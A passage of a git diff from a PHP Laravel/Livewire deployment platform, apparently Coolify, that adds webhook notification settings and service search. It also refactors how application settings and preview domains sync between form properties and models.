'databases' => 'Databases', + 'service' => 'Services', + 'services' => 'Services', + 'project' => 'Applications', + 'projects' => 'Applications', + ]; + + $category = $categoryMap[$categoryKeyword] ?? null; + + if (! $category) { + return []; + } + + return collect($this->creatableItems) + ->filter(fn ($item) => $item['category'] === $category) + ->values() + ->toArray(); + } + + public function getSelectedResourceNameProperty() + { + if (! $this->selectedResourceType) { + return null; + } + + // Load creatable items if not loaded yet + if (empty($this->creatableItems)) { + $this->loadCreatableItems(); + } + + // Find the item by type - check regular items first, then services + $item = collect($this->creatableItems)->firstWhere('type', $this->selectedResourceType); + + if (! $item) { + $item = collect($this->services)->firstWhere('type', $this->selectedResourceType); + } + + return $item ? $item['name'] : null; + } + + public function getServicesProperty() + { + // Cache services in a static property to avoid reloading on every access + static $cachedServices = null; + + if ($cachedServices !== null) { + return $cachedServices; + } + + $user = auth()->user(); + + if (! $user->can('createAnyResource')) { + $cachedServices = []; + + return $cachedServices; + } + + // Load all services + $allServices = get_service_templates(); + $items = collect(); + + foreach ($allServices as $serviceKey => $service) { + $items->push([ + 'name' => str($serviceKey)->headline()->toString(), + 'description' => data_get($service, 'slogan', 'Deploy '.str($serviceKey)->headline()), + 'type' => 'one-click-service-'.$serviceKey, + 'category' => 'Services', + 'resourceType' => 'service', + ]); + } + + $cachedServices = $items->toArray(); + + return $cachedServices; + } + public function render() { return view('livewire.global-search'); diff --git a/app/Livewire/MonacoEditor.php b/app/Livewire/MonacoEditor.php index 53ca1d386..f660f9c13 100644 --- a/app/Livewire/MonacoEditor.php +++ b/app/Livewire/MonacoEditor.php @@ -25,6 +25,7 @@ public function __construct( public bool $readonly, public bool $allowTab, public bool $spellcheck, + public bool $autofocus, public ?string $helper, public bool $realtimeValidation, public bool $allowToPeak, diff --git a/app/Livewire/Notifications/Webhook.php b/app/Livewire/Notifications/Webhook.php new file mode 100644 index 000000000..cf4e71105 --- /dev/null +++ b/app/Livewire/Notifications/Webhook.php @@ -0,0 +1,196 @@ +team = auth()->user()->currentTeam(); + $this->settings = $this->team->webhookNotificationSettings; + $this->authorize('view', $this->settings); + $this->syncData(); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->authorize('update', $this->settings); + $this->settings->webhook_enabled = $this->webhookEnabled; + $this->settings->webhook_url = $this->webhookUrl; + + $this->settings->deployment_success_webhook_notifications = $this->deploymentSuccessWebhookNotifications; + $this->settings->deployment_failure_webhook_notifications = $this->deploymentFailureWebhookNotifications; + $this->settings->status_change_webhook_notifications = $this->statusChangeWebhookNotifications; + $this->settings->backup_success_webhook_notifications = $this->backupSuccessWebhookNotifications; + $this->settings->backup_failure_webhook_notifications = $this->backupFailureWebhookNotifications; + $this->settings->scheduled_task_success_webhook_notifications = $this->scheduledTaskSuccessWebhookNotifications; + $this->settings->scheduled_task_failure_webhook_notifications = $this->scheduledTaskFailureWebhookNotifications; + $this->settings->docker_cleanup_success_webhook_notifications = $this->dockerCleanupSuccessWebhookNotifications; + $this->settings->docker_cleanup_failure_webhook_notifications = $this->dockerCleanupFailureWebhookNotifications; + $this->settings->server_disk_usage_webhook_notifications = $this->serverDiskUsageWebhookNotifications; + $this->settings->server_reachable_webhook_notifications = $this->serverReachableWebhookNotifications; + $this->settings->server_unreachable_webhook_notifications = $this->serverUnreachableWebhookNotifications; + $this->settings->server_patch_webhook_notifications = $this->serverPatchWebhookNotifications; + + $this->settings->save(); + refreshSession(); + } else { + $this->webhookEnabled = $this->settings->webhook_enabled; + $this->webhookUrl = $this->settings->webhook_url; + + $this->deploymentSuccessWebhookNotifications = $this->settings->deployment_success_webhook_notifications; + $this->deploymentFailureWebhookNotifications = $this->settings->deployment_failure_webhook_notifications; + $this->statusChangeWebhookNotifications = $this->settings->status_change_webhook_notifications; + $this->backupSuccessWebhookNotifications = $this->settings->backup_success_webhook_notifications; + $this->backupFailureWebhookNotifications = $this->settings->backup_failure_webhook_notifications; + $this->scheduledTaskSuccessWebhookNotifications = $this->settings->scheduled_task_success_webhook_notifications; + $this->scheduledTaskFailureWebhookNotifications = $this->settings->scheduled_task_failure_webhook_notifications; + $this->dockerCleanupSuccessWebhookNotifications = $this->settings->docker_cleanup_success_webhook_notifications; + $this->dockerCleanupFailureWebhookNotifications = $this->settings->docker_cleanup_failure_webhook_notifications; + $this->serverDiskUsageWebhookNotifications = $this->settings->server_disk_usage_webhook_notifications; + $this->serverReachableWebhookNotifications = $this->settings->server_reachable_webhook_notifications; + $this->serverUnreachableWebhookNotifications = $this->settings->server_unreachable_webhook_notifications; + $this->serverPatchWebhookNotifications = $this->settings->server_patch_webhook_notifications; + } + } + + public function instantSaveWebhookEnabled() + { + try { + $original = $this->webhookEnabled; + $this->validate([ + 'webhookUrl' => 'required', + ], [ + 'webhookUrl.required' => 'Webhook URL is required.', + ]); + $this->saveModel(); + } catch (\Throwable $e) { + $this->webhookEnabled = $original; + + return handleError($e, $this); + } + } + + public function instantSave() + { + try { + $this->syncData(true); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function submit() + { + try { + $this->resetErrorBag(); + $this->syncData(true); + $this->saveModel(); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function saveModel() + { + $this->syncData(true); + refreshSession(); + + if (isDev()) { + ray('Webhook settings saved', [ + 'webhook_enabled' => $this->settings->webhook_enabled, + 'webhook_url' => $this->settings->webhook_url, + ]); + } + + $this->dispatch('success', 'Settings saved.'); + } + + public function sendTestNotification() + { + try { + $this->authorize('sendTest', $this->settings); + + if (isDev()) { + ray('Sending test webhook notification', [ + 'team_id' => $this->team->id, + 'webhook_url' => $this->settings->webhook_url, + ]); + } + + $this->team->notify(new Test(channel: 'webhook')); + $this->dispatch('success', 'Test notification sent.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.notifications.webhook'); + } +} diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b42f29fa5..a733d8cb3 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Application; use App\Actions\Application\GenerateConfig; +use App\Livewire\Concerns\SynchronizesModelData; use App\Models\Application; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -14,6 +15,7 @@ class General extends Component { use AuthorizesRequests; + use SynchronizesModelData; public string $applicationId; @@ -23,6 +25,8 @@ class General extends Component public string $name; + public ?string $description = null; + public ?string $fqdn = null; public string $git_repository; @@ -31,14 +35,82 @@ class General extends Component public ?string $git_commit_sha = null; + public ?string $install_command = null; + + public ?string $build_command = null; + + public ?string $start_command = null; + public string $build_pack; + public string $static_image; + + public string $base_directory; + + public ?string $publish_directory = null; + public ?string $ports_exposes = null; + public ?string $ports_mappings = null; + + public ?string $custom_network_aliases = null; + + public ?string $dockerfile = null; + + public ?string $dockerfile_location = null; + + public ?string $dockerfile_target_build = null; + + public ?string $docker_registry_image_name = null; + + public ?string $docker_registry_image_tag = null; + + public ?string $docker_compose_location = null; + + public ?string $docker_compose = null; + + public ?string $docker_compose_raw = null; + + public ?string $docker_compose_custom_start_command = null; + + public ?string $docker_compose_custom_build_command = null; + + public ?string $custom_labels = null; + + public ?string $custom_docker_run_options = null; + + public ?string $pre_deployment_command = null; + + public ?string $pre_deployment_command_container = null; + + public ?string $post_deployment_command = null; + + public ?string $post_deployment_command_container = null; + + public ?string $custom_nginx_configuration = null; + + public bool $is_static = false; + + public bool $is_spa = false; + + public bool $is_build_server_enabled = false; + public bool $is_preserve_repository_enabled = false; public bool $is_container_label_escape_enabled = true; + public bool $is_container_label_readonly_enabled = false; + + public bool $is_http_basic_auth_enabled = false; + + public ?string $http_basic_auth_username = null; + + public ?string $http_basic_auth_password = null; + + public ?string $watch_paths = null; + + public string $redirect; + public $customLabels; public bool $labelsChanged = false; @@ -66,50 +138,50 @@ class General extends Component protected function rules(): array { return [ - 'application.name' => ValidationPatterns::nameRules(), - 'application.description' => ValidationPatterns::descriptionRules(), - 'application.fqdn' => 'nullable', - 'application.git_repository' => 'required', - 'application.git_branch' => 'required', - 'application.git_commit_sha' => 'nullable', - 'application.install_command' => 'nullable', - 'application.build_command' => 'nullable', - 'application.start_command' => 'nullable', - 'application.build_pack' => 'required', - 'application.static_image' => 'required', - 'application.base_directory' => 'required', - 'application.publish_directory' => 'nullable', - 'application.ports_exposes' => 'required', - 'application.ports_mappings' => 'nullable', - 'application.custom_network_aliases' => 'nullable', - 'application.dockerfile' => 'nullable', - 'application.docker_registry_image_name' => 'nullable', - 'application.docker_registry_image_tag' => 'nullable', - 'application.dockerfile_location' => 'nullable', - 'application.docker_compose_location' => 'nullable', - 'application.docker_compose' => 'nullable', - 'application.docker_compose_raw' => 'nullable', - 'application.dockerfile_target_build' => 'nullable', - 'application.docker_compose_custom_start_command' => 'nullable', - 'application.docker_compose_custom_build_command' => 'nullable', - 'application.custom_labels' => 'nullable', - 'application.custom_docker_run_options' => 'nullable', - 'application.pre_deployment_command' => 'nullable', - 'application.pre_deployment_command_container' => 'nullable', - 'application.post_deployment_command' => 'nullable', - 'application.post_deployment_command_container' => 'nullable', - 'application.custom_nginx_configuration' => 'nullable', - 'application.settings.is_static' => 'boolean|required', - 'application.settings.is_spa' => 'boolean|required', - 'application.settings.is_build_server_enabled' => 'boolean|required', - 'application.settings.is_container_label_escape_enabled' => 'boolean|required', - 'application.settings.is_container_label_readonly_enabled' => 'boolean|required', - 'application.settings.is_preserve_repository_enabled' => 'boolean|required', - 'application.is_http_basic_auth_enabled' => 'boolean|required', - 'application.http_basic_auth_username' => 'string|nullable', - 'application.http_basic_auth_password' => 'string|nullable', - 'application.watch_paths' => 'nullable', - 'application.redirect' => 'string|required', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'fqdn' => 'nullable', + 'git_repository' => 'required', + 'git_branch' => 'required', + 'git_commit_sha' => 'nullable', + 'install_command' => 'nullable', + 'build_command' => 'nullable', + 'start_command' => 'nullable', + 'build_pack' => 'required', + 'static_image' => 'required', + 'base_directory' => 'required', + 'publish_directory' => 'nullable', + 'ports_exposes' => 'required', + 'ports_mappings' => 'nullable', + 'custom_network_aliases' => 'nullable', + 'dockerfile' => 'nullable', + 'docker_registry_image_name' => 'nullable', + 'docker_registry_image_tag' => 'nullable', + 'dockerfile_location' => 'nullable', + 'docker_compose_location' => 'nullable', + 'docker_compose' => 'nullable', + 'docker_compose_raw' => 'nullable', + 'dockerfile_target_build' => 'nullable', + 'docker_compose_custom_start_command' => 'nullable', + 'docker_compose_custom_build_command' => 'nullable', + 'custom_labels' => 'nullable', + 'custom_docker_run_options' => 'nullable', + 'pre_deployment_command' => 'nullable', + 'pre_deployment_command_container' => 'nullable', + 'post_deployment_command' => 'nullable', + 'post_deployment_command_container' => 'nullable', + 'custom_nginx_configuration' => 'nullable', + 'is_static' => 'boolean|required', + 'is_spa' => 'boolean|required', + 'is_build_server_enabled' => 'boolean|required', + 'is_container_label_escape_enabled' => 'boolean|required', + 'is_container_label_readonly_enabled' => 'boolean|required', + 'is_preserve_repository_enabled' => 'boolean|required', + 'is_http_basic_auth_enabled' => 'boolean|required', + 'http_basic_auth_username' => 'string|nullable', + 'http_basic_auth_password' => 'string|nullable', + 'watch_paths' => 'nullable', + 'redirect' => 'string|required', ]; } @@ -118,31 +190,31 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'application.name.required' => 'The Name field is required.', - 'application.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'application.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'application.git_repository.required' => 'The Git Repository field is required.', - 'application.git_branch.required' => 'The Git Branch field is required.', - 'application.build_pack.required' => 'The Build Pack field is required.', - 'application.static_image.required' => 'The Static Image field is required.', - 'application.base_directory.required' => 'The Base Directory field is required.', - 'application.ports_exposes.required' => 'The Exposed Ports field is required.', - 'application.settings.is_static.required' => 'The Static setting is required.', - 'application.settings.is_static.boolean' => 'The Static setting must be true or false.', - 'application.settings.is_spa.required' => 'The SPA setting is required.', - 'application.settings.is_spa.boolean' => 'The SPA setting must be true or false.', - 'application.settings.is_build_server_enabled.required' => 'The Build Server setting is required.', - 'application.settings.is_build_server_enabled.boolean' => 'The Build Server setting must be true or false.', - 'application.settings.is_container_label_escape_enabled.required' => 'The Container Label Escape setting is required.', - 'application.settings.is_container_label_escape_enabled.boolean' => 'The Container Label Escape setting must be true or false.', - 'application.settings.is_container_label_readonly_enabled.required' => 'The Container Label Readonly setting is required.', - 'application.settings.is_container_label_readonly_enabled.boolean' => 'The Container Label Readonly setting must be true or false.', - 'application.settings.is_preserve_repository_enabled.required' => 'The Preserve Repository setting is required.', - 'application.settings.is_preserve_repository_enabled.boolean' => 'The Preserve Repository setting must be true or false.', - 'application.is_http_basic_auth_enabled.required' => 'The HTTP Basic Auth setting is required.', - 'application.is_http_basic_auth_enabled.boolean' => 'The HTTP Basic Auth setting must be true or false.', - 'application.redirect.required' => 'The Redirect setting is required.', - 'application.redirect.string' => 'The Redirect setting must be a string.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'git_repository.required' => 'The Git Repository field is required.', + 'git_branch.required' => 'The Git Branch field is required.', + 'build_pack.required' => 'The Build Pack field is required.', + 'static_image.required' => 'The Static Image field is required.', + 'base_directory.required' => 'The Base Directory field is required.', + 'ports_exposes.required' => 'The Exposed Ports field is required.', + 'is_static.required' => 'The Static setting is required.', + 'is_static.boolean' => 'The Static setting must be true or false.', + 'is_spa.required' => 'The SPA setting is required.', + 'is_spa.boolean' => 'The SPA setting must be true or false.', + 'is_build_server_enabled.required' => 'The Build Server setting is required.', + 'is_build_server_enabled.boolean' => 'The Build Server setting must be true or false.', + 'is_container_label_escape_enabled.required' => 'The Container Label Escape setting is required.', + 'is_container_label_escape_enabled.boolean' => 'The Container Label Escape setting must be true or false.', + 'is_container_label_readonly_enabled.required' => 'The Container Label Readonly setting is required.', + 'is_container_label_readonly_enabled.boolean' => 'The Container Label Readonly setting must be true or false.', + 'is_preserve_repository_enabled.required' => 'The Preserve Repository setting is required.', + 'is_preserve_repository_enabled.boolean' => 'The Preserve Repository setting must be true or false.', + 'is_http_basic_auth_enabled.required' => 'The HTTP Basic Auth setting is required.', + 'is_http_basic_auth_enabled.boolean' => 'The HTTP Basic Auth setting must be true or false.', + 'redirect.required' => 'The Redirect setting is required.', + 'redirect.string' => 'The Redirect setting must be a string.', ] ); } @@ -193,11 +265,15 @@ public function mount() $this->parsedServices = $this->application->parse(); if (is_null($this->parsedServices) || empty($this->parsedServices)) { $this->dispatch('error', 'Failed to parse your docker-compose file. Please check the syntax and try again.'); + // Still sync data even if parse fails, so form fields are populated + $this->syncFromModel(); return; } } catch (\Throwable $e) { $this->dispatch('error', $e->getMessage()); + // Still sync data even on error, so form fields are populated + $this->syncFromModel(); } if ($this->application->build_pack === 'dockercompose') { // Only update if user has permission @@ -218,9 +294,6 @@ public function mount() } $this->parsedServiceDomains = $sanitizedDomains; - $this->ports_exposes = $this->application->ports_exposes; - $this->is_preserve_repository_enabled = $this->application->settings->is_preserve_repository_enabled; - $this->is_container_label_escape_enabled = $this->application->settings->is_container_label_escape_enabled; $this->customLabels = $this->application->parseContainerLabels(); if (! $this->customLabels && $this->application->destination->server->proxyType() !== 'NONE' && $this->application->settings->is_container_label_readonly_enabled === true) { // Only update custom labels if user has permission @@ -249,6 +322,60 @@ public function mount() if (str($this->application->status)->startsWith('running') && is_null($this->application->config_hash)) { $this->dispatch('configurationChanged'); } + + // Sync data from model to properties at the END, after all business logic + // This ensures any modifications to $this->application during mount() are reflected in properties + $this->syncFromModel(); + } + + protected function getModelBindings(): array + { + return [ + 'name' => 'application.name', + 'description' => 'application.description', + 'fqdn' => 'application.fqdn', + 'git_repository' => 'application.git_repository', + 'git_branch' => 'application.git_branch', + 'git_commit_sha' => 'application.git_commit_sha', + 'install_command' => 'application.install_command', + 'build_command' => 'application.build_command', + 'start_command' => 'application.start_command', + 'build_pack' => 'application.build_pack', + 'static_image' => 'application.static_image', + 'base_directory' => 'application.base_directory', + 'publish_directory' => 'application.publish_directory', + 'ports_exposes' => 'application.ports_exposes', + 'ports_mappings' => 'application.ports_mappings', + 'custom_network_aliases' => 'application.custom_network_aliases', + 'dockerfile' => 'application.dockerfile', + 'dockerfile_location' => 'application.dockerfile_location', + 'dockerfile_target_build' => 'application.dockerfile_target_build', + 'docker_registry_image_name' => 'application.docker_registry_image_name', + 'docker_registry_image_tag' => 'application.docker_registry_image_tag', + 'docker_compose_location' => 'application.docker_compose_location', + 'docker_compose' => 'application.docker_compose', + 'docker_compose_raw' => 'application.docker_compose_raw', + 'docker_compose_custom_start_command' => 'application.docker_compose_custom_start_command', + 'docker_compose_custom_build_command' => 'application.docker_compose_custom_build_command', + 'custom_labels' => 'application.custom_labels', + 'custom_docker_run_options' => 'application.custom_docker_run_options', + 'pre_deployment_command' => 'application.pre_deployment_command', + 'pre_deployment_command_container' => 'application.pre_deployment_command_container', + 'post_deployment_command' => 'application.post_deployment_command', + 'post_deployment_command_container' => 'application.post_deployment_command_container', + 'custom_nginx_configuration' => 'application.custom_nginx_configuration', + 'is_static' => 'application.settings.is_static', + 'is_spa' => 'application.settings.is_spa', + 'is_build_server_enabled' => 'application.settings.is_build_server_enabled', + 'is_preserve_repository_enabled' => 'application.settings.is_preserve_repository_enabled', + 'is_container_label_escape_enabled' => 'application.settings.is_container_label_escape_enabled', + 'is_container_label_readonly_enabled' => 'application.settings.is_container_label_readonly_enabled', + 'is_http_basic_auth_enabled' => 'application.is_http_basic_auth_enabled', + 'http_basic_auth_username' => 'application.http_basic_auth_username', + 'http_basic_auth_password' => 'application.http_basic_auth_password', + 'watch_paths' => 'application.watch_paths', + 'redirect' => 'application.redirect', + ]; } public function instantSave() @@ -256,6 +383,12 @@ public function instantSave() try { $this->authorize('update', $this->application); + $oldPortsExposes = $this->application->ports_exposes; + $oldIsContainerLabelEscapeEnabled = $this->application->settings->is_container_label_escape_enabled; + $oldIsPreserveRepositoryEnabled = $this->application->settings->is_preserve_repository_enabled; + + $this->syncToModel(); + if ($this->application->settings->isDirty('is_spa')) { $this->generateNginxConfiguration($this->application->settings->is_spa ? 'spa' : 'static'); } @@ -265,20 +398,21 @@ public function instantSave() $this->application->settings->save(); $this->dispatch('success', 'Settings saved.'); $this->application->refresh(); + $this->syncFromModel(); // If port_exposes changed, reset default labels - if ($this->ports_exposes !== $this->application->ports_exposes || $this->is_container_label_escape_enabled !== $this->application->settings->is_container_label_escape_enabled) { + if ($oldPortsExposes !== $this->ports_exposes || $oldIsContainerLabelEscapeEnabled !== $this->is_container_label_escape_enabled) { $this->resetDefaultLabels(false); } - if ($this->is_preserve_repository_enabled !== $this->application->settings->is_preserve_repository_enabled) { - if ($this->application->settings->is_preserve_repository_enabled === false) { + if ($oldIsPreserveRepositoryEnabled !== $this->is_preserve_repository_enabled) { + if ($this->is_preserve_repository_enabled === false) { $this->application->fileStorages->each(function ($storage) { - $storage->is_based_on_git = $this->application->settings->is_preserve_repository_enabled; + $storage->is_based_on_git = $this->is_preserve_repository_enabled; $storage->save(); }); } } - if ($this->application->settings->is_container_label_readonly_enabled) { + if ($this->is_container_label_readonly_enabled) { $this->resetDefaultLabels(false); } } catch (\Throwable $e) { @@ -366,21 +500,21 @@ public function generateDomain(string $serviceName) } } - public function updatedApplicationBaseDirectory() + public function updatedBaseDirectory() { - if ($this->application->build_pack === 'dockercompose') { + if ($this->build_pack === 'dockercompose') { $this->loadComposeFile(); } } - public function updatedApplicationSettingsIsStatic($value) + public function updatedIsStatic($value) { if ($value) { $this->generateNginxConfiguration(); } } - public function updatedApplicationBuildPack() + public function updatedBuildPack() { // Check if user has permission to update try { @@ -388,21 +522,28 @@ public function updatedApplicationBuildPack() } catch (\Illuminate\Auth\Access\AuthorizationException $e) { // User doesn't have permission, revert the change and return $this->application->refresh(); + $this->syncFromModel(); return; } - if ($this->application->build_pack !== 'nixpacks') { + // Sync property to model before checking/modifying + $this->syncToModel(); + + if ($this->build_pack !== 'nixpacks') { + $this->is_static = false; $this->application->settings->is_static = false; $this->application->settings->save(); } else { - $this->application->ports_exposes = $this->ports_exposes = 3000; + $this->ports_exposes = 3000; + $this->application->ports_exposes = 3000; $this->resetDefaultLabels(false); } - if ($this->application->build_pack === 'dockercompose') { + if ($this->build_pack === 'dockercompose') { // Only update if user has permission try { $this->authorize('update', $this->application); + $this->fqdn = null; $this->application->fqdn = null; $this->application->settings->save(); } catch (\Illuminate\Auth\Access\AuthorizationException $e) { @@ -421,8 +562,9 @@ public function updatedApplicationBuildPack() $this->application->environment_variables_preview()->where('key', 'LIKE', 'SERVICE_URL_%')->delete(); } } - if ($this->application->build_pack === 'static') { - $this->application->ports_exposes = $this->ports_exposes = 80; + if ($this->build_pack === 'static') { + $this->ports_exposes = 80; + $this->application->ports_exposes = 80; $this->resetDefaultLabels(false); $this->generateNginxConfiguration(); } @@ -438,8 +580,11 @@ public function getWildcardDomain() $server = data_get($this->application, 'destination.server'); if ($server) { $fqdn = generateUrl(server: $server, random: $this->application->uuid); - $this->application->fqdn = $fqdn; + $this->fqdn = $fqdn; + $this->syncToModel(); $this->application->save(); + $this->application->refresh(); + $this->syncFromModel(); $this->resetDefaultLabels(); $this->dispatch('success', 'Wildcard domain generated.'); } @@ -453,8 +598,11 @@ public function generateNginxConfiguration($type = 'static') try { $this->authorize('update', $this->application); - $this->application->custom_nginx_configuration = defaultNginxConfiguration($type); + $this->custom_nginx_configuration = defaultNginxConfiguration($type); + $this->syncToModel(); $this->application->save(); + $this->application->refresh(); + $this->syncFromModel(); $this->dispatch('success', 'Nginx configuration generated.'); } catch (\Throwable $e) { return handleError($e, $this); @@ -464,15 +612,16 @@ public function generateNginxConfiguration($type = 'static') public function resetDefaultLabels($manualReset = false) { try { - if (! $this->application->settings->is_container_label_readonly_enabled && ! $manualReset) { + if (! $this->is_container_label_readonly_enabled && ! $manualReset) { return; } $this->customLabels = str(implode('|coolify|', generateLabelsApplication($this->application)))->replace('|coolify|', "\n"); - $this->ports_exposes = $this->application->ports_exposes; - $this->is_container_label_escape_enabled = $this->application->settings->is_container_label_escape_enabled; - $this->application->custom_labels = base64_encode($this->customLabels); + $this->custom_labels = base64_encode($this->customLabels); + $this->syncToModel(); $this->application->save(); - if ($this->application->build_pack === 'dockercompose') { + $this->application->refresh(); + $this->syncFromModel(); + if ($this->build_pack === 'dockercompose') { $this->loadComposeFile(showToast: false); } $this->dispatch('configurationChanged'); @@ -483,8 +632,8 @@ public function resetDefaultLabels($manualReset = false) public function checkFqdns($showToaster = true) { - if (data_get($this->application, 'fqdn')) { - $domains = str($this->application->fqdn)->trim()->explode(','); + if ($this->fqdn) { + $domains = str($this->fqdn)->trim()->explode(','); if ($this->application->additional_servers->count() === 0) { foreach ($domains as $domain) { if (! validateDNSEntry($domain, $this->application->destination->server)) { @@ -507,7 +656,8 @@ public function checkFqdns($showToaster = true) $this->forceSaveDomains = false; } - $this->application->fqdn = $domains->implode(','); + $this->fqdn = $domains->implode(','); + $this->application->fqdn = $this->fqdn; $this->resetDefaultLabels(false); } @@ -547,21 +697,27 @@ public function submit($showToaster = true) $this->validate(); - $this->application->fqdn = str($this->application->fqdn)->replaceEnd(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->replaceStart(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->trim()->explode(',')->map(function ($domain) { + $oldPortsExposes = $this->application->ports_exposes; + $oldIsContainerLabelEscapeEnabled = $this->application->settings->is_container_label_escape_enabled; + $oldDockerComposeLocation = $this->initialDockerComposeLocation; + + // Process FQDN with intermediate variable to avoid Collection/string confusion + $this->fqdn = str($this->fqdn)->replaceEnd(',', '')->trim()->toString(); + $this->fqdn = str($this->fqdn)->replaceStart(',', '')->trim()->toString(); + $domains = str($this->fqdn)->trim()->explode(',')->map(function ($domain) { $domain = trim($domain); Url::fromString($domain, ['http', 'https']); return str($domain)->lower(); }); - $this->application->fqdn = $this->application->fqdn->unique()->implode(','); - $warning = sslipDomainWarning($this->application->fqdn); + $this->fqdn = $domains->unique()->implode(','); + $warning = sslipDomainWarning($this->fqdn); if ($warning) { $this->dispatch('warning', __('warning.sslipdomain')); } - // $this->resetDefaultLabels(); + + $this->syncToModel(); if ($this->application->isDirty('redirect')) { $this->setRedirect(); @@ -581,38 +737,42 @@ public function submit($showToaster = true) $this->application->save(); } - if ($this->application->build_pack === 'dockercompose' && $this->initialDockerComposeLocation !== $this->application->docker_compose_location) { + if ($this->build_pack === 'dockercompose' && $oldDockerComposeLocation !== $this->docker_compose_location) { $compose_return = $this->loadComposeFile(showToast: false); if ($compose_return instanceof \Livewire\Features\SupportEvents\Event) { return; } } - if ($this->ports_exposes !== $this->application->ports_exposes || $this->is_container_label_escape_enabled !== $this->application->settings->is_container_label_escape_enabled) { + if ($oldPortsExposes !== $this->ports_exposes || $oldIsContainerLabelEscapeEnabled !== $this->is_container_label_escape_enabled) { $this->resetDefaultLabels(); } - if (data_get($this->application, 'build_pack') === 'dockerimage') { + if ($this->build_pack === 'dockerimage') { $this->validate([ - 'application.docker_registry_image_name' => 'required', + 'docker_registry_image_name' => 'required', ]); } - if (data_get($this->application, 'custom_docker_run_options')) { - $this->application->custom_docker_run_options = str($this->application->custom_docker_run_options)->trim(); + if ($this->custom_docker_run_options) { + $this->custom_docker_run_options = str($this->custom_docker_run_options)->trim()->toString(); + $this->application->custom_docker_run_options = $this->custom_docker_run_options; } - if (data_get($this->application, 'dockerfile')) { - $port = get_port_from_dockerfile($this->application->dockerfile); - if ($port && ! $this->application->ports_exposes) { + if ($this->dockerfile) { + $port = get_port_from_dockerfile($this->dockerfile); + if ($port && ! $this->ports_exposes) { + $this->ports_exposes = $port; $this->application->ports_exposes = $port; } } - if ($this->application->base_directory && $this->application->base_directory !== '/') { - $this->application->base_directory = rtrim($this->application->base_directory, '/'); + if ($this->base_directory && $this->base_directory !== '/') { + $this->base_directory = rtrim($this->base_directory, '/'); + $this->application->base_directory = $this->base_directory; } - if ($this->application->publish_directory && $this->application->publish_directory !== '/') { - $this->application->publish_directory = rtrim($this->application->publish_directory, '/'); + if ($this->publish_directory && $this->publish_directory !== '/') { + $this->publish_directory = rtrim($this->publish_directory, '/'); + $this->application->publish_directory = $this->publish_directory; } - if ($this->application->build_pack === 'dockercompose') { + if ($this->build_pack === 'dockercompose') { $this->application->docker_compose_domains = json_encode($this->parsedServiceDomains); if ($this->application->isDirty('docker_compose_domains')) { foreach ($this->parsedServiceDomains as $service) { @@ -643,12 +803,12 @@ public function submit($showToaster = true) } $this->application->custom_labels = base64_encode($this->customLabels); $this->application->save(); + $this->application->refresh(); + $this->syncFromModel(); $showToaster && ! $warning && $this->dispatch('success', 'Application settings updated!'); } catch (\Throwable $e) { - $originalFqdn = $this->application->getOriginal('fqdn'); - if ($originalFqdn !== $this->application->fqdn) { - $this->application->fqdn = $originalFqdn; - } + $this->application->refresh(); + $this->syncFromModel(); return handleError($e, $this); } finally { diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 1cb2ef2c5..e28c8142d 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -33,14 +33,34 @@ class Previews extends Component public $pendingPreviewId = null; + public array $previewFqdns = []; + protected $rules = [ - 'application.previews.*.fqdn' => 'string|nullable', + 'previewFqdns.*' => 'string|nullable', ]; public function mount() { $this->pull_requests = collect(); $this->parameters = get_route_parameters(); + $this->syncData(false); + } + + private function syncData(bool $toModel = false): void + { + if ($toModel) { + foreach ($this->previewFqdns as $key => $fqdn) { + $preview = $this->application->previews->get($key); + if ($preview) { + $preview->fqdn = $fqdn; + } + } + } else { + $this->previewFqdns = []; + foreach ($this->application->previews as $key => $preview) { + $this->previewFqdns[$key] = $preview->fqdn; + } + } } public function load_prs() @@ -73,35 +93,52 @@ public function save_preview($preview_id) $this->authorize('update', $this->application); $success = true; $preview = $this->application->previews->find($preview_id); - if (data_get_str($preview, 'fqdn')->isNotEmpty()) { - $preview->fqdn = str($preview->fqdn)->replaceEnd(',', '')->trim(); - $preview->fqdn = str($preview->fqdn)->replaceStart(',', '')->trim(); - $preview->fqdn = str($preview->fqdn)->trim()->lower(); - if (! validateDNSEntry($preview->fqdn, $this->application->destination->server)) { - $this->dispatch('error', 'Validating DNS failed.', "Make sure you have added the DNS records correctly.

$preview->fqdn->{$this->application->destination->server->ip}

Check this documentation for further help."); - $success = false; - } - // Check for domain conflicts if not forcing save - if (! $this->forceSaveDomains) { - $result = checkDomainUsage(resource: $this->application, domain: $preview->fqdn); - if ($result['hasConflicts']) { - $this->domainConflicts = $result['conflicts']; - $this->showDomainConflictModal = true; - $this->pendingPreviewId = $preview_id; - - return; - } - } else { - // Reset the force flag after using it - $this->forceSaveDomains = false; - } - } if (! $preview) { throw new \Exception('Preview not found'); } - $success && $preview->save(); - $success && $this->dispatch('success', 'Preview saved.

